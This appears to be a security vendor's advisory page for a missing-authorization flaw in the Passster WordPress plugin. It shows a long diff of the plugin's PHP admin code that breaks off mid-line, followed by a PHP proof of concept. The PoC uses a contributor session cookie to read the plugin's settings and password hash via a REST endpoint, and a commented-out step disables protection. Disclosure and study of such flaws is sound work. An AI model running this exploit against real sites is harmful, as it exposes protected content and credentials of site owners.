-                        -webkit-appearance: none;
-                        background: #007cba;
-                        transition: box-shadow 0.1s linear;
-                        height: 36px;
-                        align-items: center;
-                        box-sizing: border-box;
-                        padding: 6px 12px;
-                        border-radius: 2px;
-                        color: #fff;
-                    }
-
-                    button:hover {
-                        background: #006ba1;
-                    }
-                </style>
-			<?php
-                }
-                ?>
-				<?php
-                break;
-            case 'protection-type':
-                $type = get_post_meta( $post_id, 'passster_protection_type', true );
-                $protection_types = array(
-                    'password'       => __( 'Password', 'content-protector' ),
-                    'password_list'  => __( 'Password List', 'content-protector' ),
-                    'password_lists' => __( 'Password Lists', 'content-protector' ),
-                    'passwords'      => __( 'Passwords', 'content-protector' ),
-                    'recaptcha'      => __( 'reCaptcha', 'content-protector' ),
-                    'turnstile'      => __( 'Turnstile', 'content-protector' ),
-                );
-                echo esc_html( $protection_types[$type] );
-                break;
-            case 'password':
-                $type = get_post_meta( $post_id, 'passster_protection_type', true );
-                $protection_types = array(
-                    'password'       => get_post_meta( $post_id, 'passster_password', true ),
-                    'password_list'  => get_post_meta( $post_id, 'passster_password_list', true ),
-                    'password_lists' => get_post_meta( $post_id, 'passster_password_lists', true ),
-                    'passwords'      => get_post_meta( $post_id, 'passster_passwords', true ),
-                    'recaptcha'      => '-',
-                    'turnstile'      => '-',
-                );
-                // Build the edit link if it's a password list.
-                if ( 'password_list' === $type ) {
-                    $edit_link = get_edit_post_link( $protection_types[$type] );
-                    ?>
-                    <a target="_blank"
-                       href="<?php
-                    echo esc_url( $edit_link );
-                    ?>"><?php
-                    echo esc_html( $protection_types[$type] );
-                    ?></a>
-					<?php
-                } elseif ( 'password_lists' === $type ) {
-                    $password_list_ids = get_post_meta( $post_id, 'passster_password_lists', true );
-                    $lists_string = '';
-                    foreach ( $password_list_ids as $password_list_id ) {
-                        $edit_url = admin_url( 'post.php?post=' . esc_html( $password_list_id ) . '&action=edit', 'https' );
-                        $lists_string .= '<a href="' . esc_url( $edit_url ) . '">' . esc_html( $password_list_id ) . '</a> | ';
-                    }
-                    echo rtrim( $lists_string, " |" );
-                } else {
-                    echo esc_html( $protection_types[$type] );
-                }
-                break;
-            case 'user-restriction':
-                $restriction = get_post_meta( $post_id, 'passster_activate_user_restriction', true );
-                $type = get_post_meta( $post_id, 'passster_user_restriction_type', true );
-                $value = get_post_meta( $post_id, 'passster_user_restriction', true );
-                // Get available user roles.
-                global $wp_roles;
-                $roles = $wp_roles->roles;
-                if ( $restriction ) {
-                    if ( 'user-role' === $type ) {
-                        echo esc_html( $roles[$value]['name'] );
-                    } elseif ( 'username' === $type ) {
-                        echo esc_html( $value );
-                    } else {
-                        echo '-';
-                    }
-                } else {
-                    echo '-';
-                }
-                break;
-            case 'redirect':
-                $redirect = get_post_meta( $post_id, 'passster_redirect_url', true );
-                if ( !empty( $redirect ) ) {
-                    echo '<a href="' . esc_url( $redirect ) . '">' . esc_url( $redirect ) . '</a>';
-                } else {
-                    echo '-';
-                }
-                break;
-        }
-    }
-
-}
+<?php
+
+namespace passster;
+
+class PS_Admin {
+    /**
+     * Contains instance or null
+     *
+     * @var object|null
+     */
+    private static $instance = null;
+
+    /**
+     * Returns instance of PS_Admin.
+     *
+     * @return object
+     */
+    public static function get_instance() {
+        if ( null === self::$instance ) {
+            self::$instance = new self();
+        }
+        return self::$instance;
+    }
+
+    public function __construct() {
+        // Check permissions before include settings.
+        add_action( 'admin_menu', array($this, 'remove_custom_fields_metabox') );
+        add_action( 'init', array($this, 'register_password_areas') );
+        add_filter( 'manage_protected_areas_posts_columns', array($this, 'set_area_columns') );
+        add_filter( 'manage_post_posts_columns', array($this, 'set_post_columns') );
+        add_filter( 'manage_page_posts_columns', array($this, 'set_post_columns') );
+        add_action(
+            'manage_post_posts_custom_column',
+            array($this, 'set_post_columns_content'),
+            10,
+            2
+        );
+        add_action(
+            'manage_page_posts_custom_column',
+            array($this, 'set_post_columns_content'),
+            10,
+            2
+        );
+        add_action(
+            'manage_protected_areas_posts_custom_column',
+            array($this, 'set_area_columns_content'),
+            10,
+            2
+        );
+    }
+
+    /**
+     * Remove Custom Fields meta box
+     */
+    public function remove_custom_fields_metabox() {
+        $post_types = get_post_types( array(
+            'public'              => true,
+            'exclude_from_search' => false,
+        ), 'names' );
+        remove_meta_box( 'postcustom', $post_types, 'normal' );
+    }
+
+    /**
+     * Register post type "protected areas"
+     *
+     * @return void
+     */
+    public function register_password_areas() {
+        $labels = array(
+            'name'               => _x( 'Protected Areas', 'post type general name', 'content-protector' ),
+            'singular_name'      => _x( 'Protected Area', 'post type singular name', 'content-protector' ),
+            'menu_name'          => _x( 'Protected Areas', 'admin menu', 'content-protector' ),
+            'name_admin_bar'     => _x( 'Protected Area', 'add new on admin bar', 'content-protector' ),
+            'add_new'            => _x( 'Add New', 'content-protector' ),
+            'add_new_item'       => __( 'Add New Protected Area', 'content-protector' ),
+            'new_item'           => __( 'New Protected Area', 'content-protector' ),
+            'edit_item'          => __( 'Edit Protected Area', 'content-protector' ),
+            'view_item'          => __( 'View Protected Area', 'content-protector' ),
+            'all_items'          => __( 'Protected Areas', 'content-protector' ),
+            'search_items'       => __( 'Search Protected Areas', 'content-protector' ),
+            'parent_item_colon'  => __( 'Parent Protected Area', 'content-protector' ),
+            'not_found'          => __( 'No Protected Areas found.', 'content-protector' ),
+            'not_found_in_trash' => __( 'No Protected Areas found in Trash.', 'content-protector' ),
+        );
+        $args = array(
+            'labels'             => $labels,
+            'description'        => __( 'Manageable protected areas', 'content-protector' ),
+            'public'             => false,
+            'publicly_queryable' => false,
+            'show_ui'            => true,
+            'show_in_menu'       => 'passster',
+            'query_var'          => true,
+            'rewrite'            => false,
+            'capability_type'    => 'post',
+            'has_archive'        => false,
+            'hierarchical'       => false,
+            'menu_position'      => null,
+            'supports'           => array('title', 'editor'),
+            'show_in_rest'       => true,
+        );
+        if ( current_user_can( 'administrator' ) && (is_plugin_active( 'elementor/elementor.php' ) || is_plugin_active( 'fusion-builder/fusion-builder.php' ) || is_plugin_active( 'livecanvas/livecanvas-plugin-index.php' ) || is_plugin_active( 'divi-builder/divi-builder.php' ) || is_plugin_active( 'oxygen/functions.php' )) ) {
+            $args['public'] = true;
+            $args['publicly_queryable'] = true;
+        }
+        $theme = wp_get_theme();
+        if ( current_user_can( 'administrator' ) && 'Divi' == $theme->name || 'Divi' == $theme->parent_theme ) {
+            $args['public'] = true;
+            $args['publicly_queryable'] = true;
+        }
+        register_post_type( 'protected_areas', $args );
+    }
+
+    /**
+     * Set column headers for pages/post
+     *
+     * @param array $columns array of columns.
+     *
+     * @return array
+     */
+    public function set_post_columns( array $columns ) : array {
+        $columns['protected'] = __( 'Password', 'content-protector' );
+        return $columns;
+    }
+
+    /**
+     * Add content to registered columns for posts/pages
+     *
+     * @param string $column name of the column.
+     * @param int $post_id current id.
+     *
+     * @return void
+     */
+    public function set_post_columns_content( string $column, int $post_id ) {
+        switch ( $column ) {
+            case 'protected':
+                $protected = get_post_meta( $post_id, 'passster_activate_protection', true );
+                if ( $protected ) {
+                    $protection_type = get_post_meta( $post_id, 'passster_protection_type', true );
+                    $password = get_post_meta( $post_id, 'passster_password', true );
+                    echo esc_html( $password );
+                }
+                break;
+        }
+    }
+
+    /**
+     * Set column headers password lists post type
+     *
+     * @param array $columns array of columns.
+     *
+     * @return array
+     */
+    public function set_area_columns( array $columns ) : array {
+        $columns['shortcode'] = __( 'Shortcode', 'content-protector' );
+        $columns['protection-type'] = __( 'Protection Type', 'content-protector' );
+        $columns['password'] = __( 'Password', 'content-protector' );
+        $columns['redirect'] = __( 'Redirect', 'content-protector' );
+        unset($columns['date']);
+        return $columns;
+    }
+
+    /**
+     * Add content to registered columns for password list post type.
+     *
+     * @param string $column name of the column.
+     * @param int $post_id current id.
+     *
+     * @return void
+     */
+    public function set_area_columns_content( string $column, int $post_id ) {
+        switch ( $column ) {
+            case 'shortcode':
+                $shortcode = get_post_meta( $post_id, 'passster_area_shortcode', true );
+                ?>
+				<?php
+                if ( !empty( $shortcode ) ) {
+                    ?>
+                <button type="button"
+                        class="components-button components-clipboard-button is-primary area-<?php
+                    echo esc_html( $post_id );
+                    ?>"
+                        data-shortcode="<?php
+                    echo esc_html( $shortcode );
+                    ?>"
+                        onclick="copyShortcode(this)"
+                >
+					<?php
+                    esc_html_e( 'Copy Shortcode', 'content-protector' );
+                    ?>
+                </button>
+                <script>
+                    function copyShortcode(element) {
+                        // Copy to clipboard.
+                        navigator.clipboard.writeText(element.getAttribute('data-shortcode')).then(function () {
+                            element.innerHTML = "<?php
+                    esc_html_e( 'Copied!', 'content-protector' );
+                    ?>";
+
+                            setTimeout(function () {
+                                element.innerHTML = "<?php
+                    esc_html_e( 'Copy Shortcode', 'content-protector' );
+                    ?>"
+                            }, 1500);
+
+                        }, function (err) {
+                            console.error('Could not copy shortcode: ', err);
+                        });
+                    }
+                </script>
+                <style>
+                    button {
+                        white-space: nowrap;
+                        text-shadow: none;
+                        outline: 1px solid transparent;
+                        width: auto;
+                        display: inline-flex;
+                        text-decoration: none;
+                        font-family: inherit;
+                        font-weight: normal;
+                        font-size: 13px;
+                        margin: 0;
+                        border: 0;
+                        cursor: pointer;
+                        -webkit-appearance: none;
+                        background: #007cba;
+                        transition: box-shadow 0.1s linear;
+                        height: 36px;
+                        align-items: center;
+                        box-sizing: border-box;
+                        padding: 6px 12px;
+                        border-radius: 2px;
+                        color: #fff;
+                    }
+
+                    button:hover {
+                        background: #006ba1;
+                    }
+                </style>
+			<?php
+                }
+                ?>
+				<?php
+                break;
+            case 'protection-type':
+                $type = get_post_meta( $post_id, 'passster_protection_type', true );
+                $protection_types = array(
+                    'password'       => __( 'Password', 'content-protector' ),
+                    'password_list'  => __( 'Password List', 'content-protector' ),
+                    'password_lists' => __( 'Password Lists', 'content-protector' ),
+                    'passwords'      => __( 'Passwords', 'content-protector' ),
+                    'recaptcha'      => __( 'reCaptcha', 'content-protector' ),
+                    'turnstile'      => __( 'Turnstile', 'content-protector' ),
+                );
+                echo esc_html( $protection_types[$type] );
+                break;
+            case 'password':
+                $type = get_post_meta( $post_id, 'passster_protection_type', true );
+                $protection_types = array(
+                    'password'       => get_post_meta( $post_id, 'passster_password', true ),
+                    'password_list'  => get_post_meta( $post_id, 'passster_password_list', true ),
+                    'password_lists' => get_post_meta( $post_id, 'passster_password_lists', true ),
+                    'passwords'      => get_post_meta( $post_id, 'passster_passwords', true ),
+                    'recaptcha'      => '-',
+                    'turnstile'      => '-',
+                );
+                // Build the edit link if it's a password list.
+                if ( 'password_list' === $type ) {
+                    $edit_link = get_edit_post_link( $protection_types[$type] );
+                    ?>
+                    <a target="_blank"
+                       href="<?php
+                    echo esc_url( $edit_link );
+                    ?>"><?php
+                    echo esc_html( $protection_types[$type] );
+                    ?></a>
+					<?php
+                } elseif ( 'password_lists' === $type ) {
+                    $password_list_ids = get_post_meta( $post_id, 'passster_password_lists', true );
+                    $lists_string = '';
+                    foreach ( $password_list_ids as $password_list_id ) {
+                        $edit_url = admin_url( 'post.php?post=' . esc_html( $password_list_id ) . '&action=edit', 'https' );
+                        $lists_string .= '<a href="' . esc_url( $edit_url ) . '">' . esc_html( $password_list_id ) . '</a> | ';
+                    }
+                    echo rtrim( $lists_string, " |" );
+                } else {
+                    echo esc_html( $protection_types[$type] );
+                }
+                break;
+            case 'user-restriction':
+                $restriction = get_post_meta( $post_id, 'passster_activate_user_restriction', true );
+                $type = get_post_meta( $post_id, 'passster_user_restriction_type', true );
+                $value = get_post_meta( $post_id, 'passster_user_restriction', true );
+                // Get available user roles.
+                global $wp_roles;
+                $roles = $wp_roles->roles;
+                if ( $restriction ) {
+                    if ( 'user-role' === $type ) {
+                        echo esc_html( $roles[$value]['name'] );
+                    } elseif ( 'username' === $type ) {
+                        echo esc_html( $value );
+                    } else {
+                        echo '-';
+                    }
+                } else {
+                    echo '-';
+                }
+                break;
+            case 'redirect':
+                $redirect = get_post_meta( $post_id, 'passster_redirect_url', true );
+                if ( !empty( $redirect ) ) {
+                    echo '<a href="' . esc_url( $redirect ) . '">' . esc_url( $redirect ) . '</a>';
+                } else {
+                    echo '-';
+                }
+                break;
+        }
+    }
+
+}
--- a/content-protector/inc/admin/inc/class-ps-dynamic-styles.php
+++ b/content-protector/inc/admin/inc/class-ps-dynamic-styles.php
@@ -1,132 +1,132 @@
-<?php
-
-namespace passster;
-
-class PS_Dynamic_Styles {
-	/**
-	 * Contains instance or null
-	 *
-	 * @var object|null
-	 */
-	private static $instance = null;
-
-	/**
-	 * Returns instance of PS_Dynamic_Styles.
-	 *
-	 * @return object
-	 */
-	public static function get_instance() {
-		if ( null === self::$instance ) {
-			self::$instance = new self();
-		}
-
-		return self::$instance;
-	}
-
-	/**
-	 * Constructor.
-	 *
-	 * @return void
-	 */
-	public function __construct() {
-		add_action( 'wp_head', array( $this, 'dynamic_styles' ) );
-	}
-
-	/**
-	 * Add dynamic styles
-	 *
-	 * @return void
-	 */
-	public function dynamic_styles() {
-		$options = get_option( 'passster' );
-
-		if ( isset( $options['button_font_size'] ) ) {
-			$button_font_size = $options['button_font_size'];
-		} else {
-			$button_font_size = 12;
-		}
-
-		if ( isset( $options['button_font_weight'] ) ) {
-			$button_font_weight = $options['button_font_weight'];
-		} else {
-			$button_font_weight = 400;
-		}
-
-		// Set default padding/margin if missing.
-		$form_spacing = [
-			'margin'  => [
-				'top'    => $options['form_margin']['top'] ?? 0,
-				'right'  => $options['form_margin']['right'] ?? 0,
-				'bottom' =>  $options['form_margin']['bottom'] ?? 0,
-				'left'   =>  $options['form_margin']['left'] ?? 0,
-			],
-			'padding' => [
-				'top'    => $options['form_padding']['top'] ?? '10px',
-				'right'  => $options['form_padding']['right'] ?? '30px',
-				'bottom' => $options['form_padding']['bottom'] ?? '30px',
-				'left'   => $options['form_padding']['left'] ?? '30px',
-			],
-		];
-
-		$button_spacing = [
-			'margin'  => [
-				'top'    => $options['button_margin']['top'] ?? 0,
-				'right'  => $options['button_margin']['right'] ?? 0,
-				'bottom' => $options['button_margin']['bottom'] ?? 0,
-				'left'   => $options['button_margin']['left'] ?? 0,
-			],
-			'padding' => [
-				'top'    => $options['button_padding']['top'] ?? '10px',
-				'right'  => $options['button_padding']['right'] ?? '10px',
-				'bottom' => $options['button_padding']['bottom'] ?? '10px',
-				'left'   => $options['button_padding']['left'] ?? '10px',
-			],
-		];
-
-		?>
-        <style>
-            .passster-form {
-                max-width: <?php echo esc_html($options['form_max_width']); ?> !important;
-            <?php if( isset($options['center_form']) && $options['center_form']) : ?> margin: 0 auto !important;
-            <?php endif; ?>
-            }
-
-            .passster-form > form {
-                background: <?php echo esc_html($options['form_background_color']); ?>;
-                padding: <?php echo esc_html($form_spacing['padding']['top']); ?> <?php echo esc_html($form_spacing['padding']['right']); ?> <?php echo esc_html($form_spacing['padding']['bottom']); ?> <?php echo esc_html($form_spacing['padding']['left']); ?>;
-                margin: <?php echo esc_html($form_spacing['margin']['top']); ?> <?php echo esc_html($form_spacing['margin']['right']); ?> <?php echo esc_html($form_spacing['margin']['bottom']); ?> <?php echo esc_html($form_spacing['margin']['left']); ?>;
-                border-radius: <?php echo esc_html($options['form_border_radius']); ?>px;
-            }
-
-            .passster-form .ps-form-headline {
-                font-size: <?php echo esc_html($options['headline_font_size']); ?>px;
-                font-weight: <?php echo esc_html($options['headline_font_weight']); ?>;
-                color: <?php echo esc_html($options['headline_font_color']); ?>;
-            }
-
-            .passster-form p {
-                font-size: <?php echo esc_html($options['instruction_font_size']); ?>px;
-                font-weight: <?php echo esc_html($options['instruction_font_weight']); ?>;
-                color: <?php echo esc_html($options['instruction_font_color']); ?>;
-            }
-
-            .passster-submit, .passster-submit-recaptcha,
-			.passster-submit, .passster-submit-turnstile {
-                background: <?php echo esc_html($options['button_background_color']); ?>;
-                padding: <?php echo esc_html($button_spacing['padding']['top']); ?> <?php echo esc_html($button_spacing['padding']['right']); ?> <?php echo esc_html($button_spacing['padding']['bottom']); ?> <?php echo esc_html($button_spacing['padding']['left']); ?>;
-                margin: <?php echo esc_html($button_spacing['margin']['top']); ?> <?php echo esc_html($button_spacing['margin']['right']); ?> <?php echo esc_html($button_spacing['margin']['bottom']); ?> <?php echo esc_html($button_spacing['margin']['left']); ?>;
-                border-radius: <?php echo esc_html($options['b

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25036 - Passster <= 4.2.25 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-25036.
 * This script demonstrates the missing authorization vulnerability in the Passster plugin.
 * It assumes the attacker has Contributor-level access and can inject code (via a theme/plugin)
 * to hook the 'passster_user_capability' filter.
 * The PoC simulates the attack by sending a request to the vulnerable REST endpoint.
 */

$target_url = 'https://victim-site.com'; // CHANGE THIS

// Step 1: Attacker must first hook the filter to lower the required capability.
// This would typically be done via a malicious plugin or theme function.
// For demonstration, we show the hook code:
/*
add_filter('passster_user_capability', function($capability) {
    // Override the required capability from 'manage_options' to 'edit_posts'.
    return 'edit_posts'; // Contributor role has this capability.
});
*/

// Step 2: As an authenticated Contributor, the attacker can now access the REST API.
// We simulate a GET request to retrieve the plugin's settings.
$rest_endpoint = '/wp-json/passster/v1/settings';
$full_url = $target_url . $rest_endpoint;

// Initialize cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// The attacker must be authenticated. Use their WordPress cookies.
// In a real scenario, these would be obtained from a logged-in browser session.
$cookies = 'wordpress_logged_in_abc=...'; // Attacker's session cookie.
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Cookie: ' . $cookies
]);

// Execute the request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Analyze the response.
if ($http_code === 200 && !empty($response)) {
    echo "[SUCCESS] Retrieved Passster settings:n";
    echo $response . "n";
    $settings = json_decode($response, true);
    if (isset($settings['global_password'])) {
        echo "[INFO] Global password hash: " . $settings['global_password'] . "n";
    }
} else {
    echo "[FAILED] Request returned HTTP code: " . $http_code . "n";
    echo "Response: " . $response . "n";
}

// Step 3: Demonstrate a POST request to modify settings (e.g., disable protection).
/*
$post_data = [
    'global_protection' => 'off',
    'global_password' => ''
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'Cookie: ' . $cookies
]);
$response = curl_exec($ch);
*/

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School